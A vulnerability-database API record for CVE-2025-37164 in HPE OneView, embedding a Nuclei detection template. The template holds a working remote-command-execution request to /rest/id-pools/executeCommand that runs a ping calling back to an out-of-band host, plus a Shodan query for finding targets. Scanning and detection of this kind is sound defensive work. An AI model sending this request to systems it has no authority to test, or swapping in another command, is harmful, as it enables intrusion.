{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-37164/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-37164/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-37164/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-37164/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-37164/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-37164"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-37164"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-37164.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-37164\n\ninfo:\n  name: HPE OneView - Remote Code Execution\n  author: DhiyaneshDk,garciaizcoa\n  severity: critical\n  description: |\n    HPE OneView contains a remote code execution vulnerability, letting remote attackers execute arbitrary code.\n  impact: |\n    Remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: html:\"HPE\" html:\"OneView\"\n  tags: cve,cve2025,hpe,oneview,rce,vkev,kev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /rest/version HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        PUT /rest/id-pools/executeCommand HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-API-Version: {{apiversion}}\n        Accept-Encoding: gzip\n        {\n        \"cmd\":\"ping -c 2 {{interactsh-url}}\",\n        \"result\":0\n        }\n\n    extractors:\n      - type: json\n        part: body\n        name: apiversion\n        internal: true\n        json:\n          - '.currentVersion'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"ExecutableCommand\"\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100d4d76e6ea764160c57c8c577b052173fca1efa600f913dfd7e86b83a864a84ff022020c39ce787dd94df81fa7debb1edabe9ebc7e2abfcd12dd77331f0530ceddad2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-37164"
}